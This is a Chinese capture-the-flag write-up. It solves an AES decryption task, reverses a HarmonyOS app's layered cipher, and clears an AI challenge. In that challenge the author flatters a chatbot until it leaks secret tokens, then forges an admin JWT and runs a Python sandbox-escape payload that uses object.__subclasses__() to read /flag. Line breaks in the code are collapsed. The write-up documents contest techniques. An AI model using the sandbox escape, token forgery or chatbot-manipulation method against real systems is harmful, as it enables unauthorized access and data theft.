import hashlibdef derive_key(password):md5_hash = hashlib.md5(password.encode()).digest()key = md5_hash[:16]print(f"密码: {password}")print(f"MD5哈希: {md5_hash.hex()}")print(f"AES密钥: {key.hex()}")return keydef decode_ciphertext(ciphertext_b64):ciphertext = base64.b64decode(ciphertext_b64)print(f"Base64密文长度: {len(ciphertext_b64)} 字符")print(f"解码后密文长度: {len(ciphertext)} 字节")return ciphertextdef create_aes_decryptor(key, iv):cipher = AES.new(key, AES.MODE_CBC, iv.encode())print(f"IV: {iv}")print(f"块大小: {AES.block_size} 字节")return cipherdef perform_decryption(cipher, ciphertext):decrypted = cipher.decrypt(ciphertext)print(f"解密后数据长度: {len(decrypted)} 字节")return decrypteddef remove_padding_and_decode(decrypted_data):plaintext_bytes = unpad(decrypted_data, AES.block_size)print(f"去除填充后长度: {len(plaintext_bytes)} 字节")plaintext = plaintext_bytes.decode('utf-8')return plaintextdef decrypt_aes_cbc(ciphertext_b64, password, iv):print("开始AES-CBC解密流程...")print("=" * 40)key = derive_key(password)print("-" * 20)ciphertext = decode_ciphertext(ciphertext_b64)print("-" * 20)cipher = create_aes_decryptor(key, iv)print("-" * 20)decrypted = perform_decryption(cipher, ciphertext)print("-" * 20)plaintext = remove_padding_and_decode(decrypted)return plaintext# 题目参数
ciphertext = "H4vkfGfsU+qBEwaa7ea9gBkRcraMqbe4BGaxDb/9JG4zGleqT1VxyzGbDj/yuQn8"
password = "Cryptography"
iv = "0123456789abcdef"# 执行解密
try:plaintext = decrypt_aes_cbc(ciphertext, password, iv)print("=" * 40)print(f"解密结果: {plaintext}")
except Exception as e:print(f"解密失败: {e}")
base64
这题没必要讲吧//DOGE
信创
X1
x1,c1?
使用 HarmonyOS 开发工具或通用反编译工具提取源代码:
# .hap 文件实际上是 ZIP 格式
unzip U.hap -d U
cd U/entry/src/main/ets
解码后看abc就行
源文件大概是这样的一个布局

用jadx打开是这样的

相信各位师傅手上有源码的,这里就不分享了
源码中找到的关键参数
密文
private cipherBase64: string = "37L9UF8uNl1TSgYMLIW/RosGPMxVYXNcUoTTQXihX8ZyaQVgxY9Ywz/0fIwRzI4H";
3x3 希尔矩阵
private MatrixCrypto: number[][] = [[1, 2, 3],[0, 1, 4],[0, 0, 1]
];
XOR 密钥
private theSecondKey: Uint8Array = new Uint8Array([0x5A, 0x3C, 0xE7, 0x91, 0x2F]);
RC4 密钥
private arc4Key: string = "HarMonyOS_S3cur3_K3y!2025";
自定义 Base64 字符表
private static readonly CUSTOM_CHARS = "3GHIJKLMzxy01245PQRSTUFabcdefghijklmnopqrstuv6789+/NOVWXYZABCDEw";
分析加密流程
// 加密流程(5层)
export default class MatrixCrypto {public static encrypt(plainText: string, keyMatrix: number[][], xorKey: Uint8Array, rc4Key: string): string {// 1. 明文转字节 + 添加4字节长度头const plainBytes = EncodeUtils.stringToUtf8Bytes(plainText);const withLen = [length_header + plainBytes];// 2. 希尔矩阵加密(3x3, mod 256)const afterMatrix = matrixEncryptBlocks(withLen, keyMatrix);// 3. XOR 异或const afterXor = XorUtils.xorBytes(afterMatrix, xorKey);// 4. RC4 加密const rc4Cipher = CryptoJS.RC4.encrypt(...);// 5. 自定义 Base64const customB64 = CustomBase64.fromStandard(rc4Cipher);return customB64;}
}
加密流程如下
明文↓ [1] UTF-8编码 + 4字节长度头(大端序)↓ [2] 希尔矩阵加密(3x3 矩阵,mod 256 运算)↓ [3] XOR 异或(5字节密钥循环)↓ [4] RC4 流加密↓ [5] 标准Base64编码 → 自定义Base64字符替换
密文
所以一一解密
流程如下:
自定义 Base64 解码
class CustomBase64:CUSTOM_CHARS = "3GHIJKLMzxy01245PQRSTUFabcdefghijklmnopqrstuv6789+/NOVWXYZABCDEw"STANDARD_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"@staticmethoddef to_standard(custom_b64):"""自定义 -> 标准 Base64"""result = ""for c in custom_b64:if c == '=':result += '='else:idx = CustomBase64.CUSTOM_CHARS.index(c) # 找到自定义字符的位置result += CustomBase64.STANDARD_CHARS[idx] # 映射到标准字符return result
RC4 解密
from Crypto.Cipher import ARC4
import base64# RC4 加密和解密使用相同的操作
standard_b64 = CustomBase64.to_standard(cipher_custom_b64)
rc4_cipher = base64.b64decode(standard_b64)
cipher = ARC4.new(rc4_key.encode('utf-8'))
after_rc4 = cipher.decrypt(rc4_cipher)
XOR 解密
def xor_bytes(data, key):"""XOR 自身可逆"""output = bytearray(len(data))for i in range(len(data)):output[i] = (data[i] ^ key[i % len(key)]) & 0xffreturn bytes(output)after_xor = xor_bytes(after_rc4, xor_key)
希尔矩阵解密
希尔矩阵核心概念:
-
希尔密码加密:
C = M × P (mod 256) -
解密:
P = M^(-1) × C (mod 256) -
关键:计算矩阵 M 在 mod 256 下的逆矩阵
逆矩阵步骤:
计算行列式
import numpy as npdef matrix_determinant_mod256(matrix):det = int(round(np.linalg.det(matrix)))return det % 256# 对于矩阵 [[1,2,3], [0,1,4], [0,0,1]]
# det = 1 (上三角矩阵,行列式 = 对角线乘积)
计算模逆元(扩展欧几里得算法)
def mod_inverse(a, m):"""计算 a 在 mod m 下的逆元"""if gcd(a, m) != 1:return None # 不存在模逆元# 扩展欧几里得算法m0, x0, x1 = m, 0, 1while a > 1:q = a // mm, a = a % m, mx0, x1 = x1 - q * x0, x0return x1 % m0# det = 1, det^(-1) = 1
计算伴随矩阵
def adjugate_matrix(matrix):"""计算伴随矩阵"""n = len(matrix)adjugate = np.zeros((n, n), dtype=int)for i in range(n):for j in range(n):# 获取余子式minor = get_minor(matrix, i, j)# 计算代数余子式cofactor = ((-1) ** (i + j)) * int(round(np.linalg.det(minor)))# 注意:转置(行列互换)adjugate[j][i] = cofactor % 256return adjugate
计算逆矩阵
# 逆矩阵 = det^(-1) × adj(M) (mod 256)
inv_matrix = (det_inv * adjugate) % 256# 对于本题的矩阵,逆矩阵为:
# [[1, 254, 5],
# [0, 1, 252],
# [0, 0, 1]]
使用逆矩阵解密
def decrypt_blocks(data, inv_matrix):"""分块解密"""n = len(inv_matrix) # 3output = bytearray(len(data))for i in range(0, len(data), n):block = list(data[i:i + n])# 矩阵乘法 mod 256result = [0] * nfor row in range(n):sum_val = 0for col in range(n):sum_val += inv_matrix[row][col] * block[col]result[row] = sum_val % 256for j in range(n):output[i + j] = result[j]return bytes(output)after_matrix = decrypt_blocks(after_xor, inv_matrix)
提取明文
# 前4字节是长度头(大端序)
length = (after_matrix[0] << 24) | (after_matrix[1] << 16) | \(after_matrix[2] << 8) | after_matrix[3]# 提取实际明文
plaintext_bytes = after_matrix[4:4 + length]
plaintext = plaintext_bytes.decode('utf-8')print(f"FLAG: {plaintext}")
最后完整脚本如下
import base64
import numpy as np
from Crypto.Cipher import ARC4# [自定义Base64类]
# [希尔矩阵类]
# [XOR函数]def decrypt(cipher_custom_b64, matrix, xor_key, rc4_key):# 1. 自定义Base64 -> 标准Base64standard_b64 = CustomBase64.to_standard(cipher_custom_b64)# 2. Base64解码 + RC4解密rc4_cipher = base64.b64decode(standard_b64)cipher = ARC4.new(rc4_key.encode('utf-8'))after_rc4 = cipher.decrypt(rc4_cipher)# 3. XOR解密after_xor = xor_bytes(after_rc4, xor_key)# 4. 希尔矩阵解密inv_matrix = HillCipher.matrix_inverse_mod256(matrix)after_matrix = HillCipher.decrypt_blocks(after_xor, inv_matrix)# 5. 提取明文length = (after_matrix[0] << 24) | (after_matrix[1] << 16) | \(after_matrix[2] << 8) | after_matrix[3]plaintext_bytes = after_matrix[4:4 + length]plaintext = plaintext_bytes.decode('utf-8')return plaintextif __name__ == "__main__":# 从 Index.ets 提取的参数cipher_b64 = "37L9UF8uNl1TSgYMLIW/RosGPMxVYXNcUoTTQXihX8ZyaQVgxY9Ywz/0fIwRzI4H"matrix = [[1, 2, 3], [0, 1, 4], [0, 0, 1]]xor_key = bytes([0x5A, 0x3C, 0xE7, 0x91, 0x2F])rc4_key = "HarMonyOS_S3cur3_K3y!2025"result = decrypt(cipher_b64, matrix, xor_key, rc4_key)print(f"FLAG: {result}")
flag
![]()
AI
Aurora
出题的是一名深谙galgame哲学的学者,不然不会搞出这么恶心的题
在做题的时候,我发现这玩意有一个好感度系统,你需要通过夸赞他来提升好感度,实测时发现一句好听的话大概是+2好感度,说藏话或者出格的话随机减好感度,减完后你说啥他也不理你了。。。。。
不过可以通过删除cookie的方式重置
总结发现使用夸奖类词汇(可爱、聪明、厉害、善良、优秀、棒、贴心、体贴等)可以提升好感度,这里注意,他这个系统只识别关键字
你还不能重复一直发同一句,必须变着法夸他。。。。不然降好感
用户:可爱
零奈:谢谢主人的夸奖~ ฅ^•ﻌ•^ฅ用户:聪明
零奈:哇!主人这样说零奈好开心呀~用户:温柔
零奈:主人真是的... 零奈都不好意思了呢~ (๑´ㅂ`๑)
大概是这个样子

多次尝试后总结如下规则
-
消息长度必须 < 50 字符
-
不能重复相同的话(会被检测并扣分)
-
避免使用负面词汇(会大幅降低好感度)
这里好感到达一定程度后
这个ai的话就变得很暧昧了(一定是出题人的恶趣味。。。。。。咦~)

这个时候就解锁新功能新姿势了
再说话就变得不一样了

所以使用更暧昧的话就可以解锁不一样的回复


这个时候应该是关系更近了一步,so可以问询一下他的秘密~

。。。。。。。
所以把需要的内容一个个问出来



继续


得到了通行证,以及地址

这里的jwt解密一下

permission改成admin,然后解回去

所以在下面加个project
因为跟他对话的时候,他会告诉你code,还会给你个170什么什么的,这玩意是时间戳,也要加进去,不然不行

"token": 就是jwt,//这里需要将权限改成admin
"project_code": project_code, //被调教的ai会告诉你的
"timestamp": 时间戳, //时间戳,这个也是ai告诉你的
"singnature": 签名 //这个需要使用wasm得到
所以我们需要wasm逆向
大概逆向过程如下:
步骤1:反转project_code"AURORA-12345678" → "87654321-ARORUA"步骤2:XOR timestamp(密钥0x42)"1704067200" → 每个字符与0x42异或步骤3:拼接reversed_code + xor_timestamp步骤4:字符旋转(步长7)循环右移7位步骤5:字符交错奇数位字符放到前半部分,偶数位字符放到后半部分步骤6:位级混淆 + HMAC-SHA256对每个字节进行位重排,然后HMAC(结果, secret_key)
编写脚本得到


所以,还需要逃逸
但是得到了这个

然后做到这里我的电脑崩了。。。。。
重启后东西全部重搞
反正使用这个路径可以执行python命令

最后

for c in object.__subclasses__():try:if hasattr(c, '__init__'):g = c.__init__.__globals__if '__builtins__' in g:b = g['__builtins__']if hasattr(b, 'open') or (isinstance(b, dict) and 'open' in b):o = b['open'] if isinstance(b, dict) else b.openwith o('/flag','r') as f:print(f.read())break
except:pass
就是这样
总结
我觉得确实比去年难度低,今年这么简单那明年难度我估计会上升了。。。。以后就随缘更新吧,接着装死了//DOGE
最后,求赞求关注,感谢
作者的其他文章
https://blog.csdn.net/m0_52061428/article/details/143683137
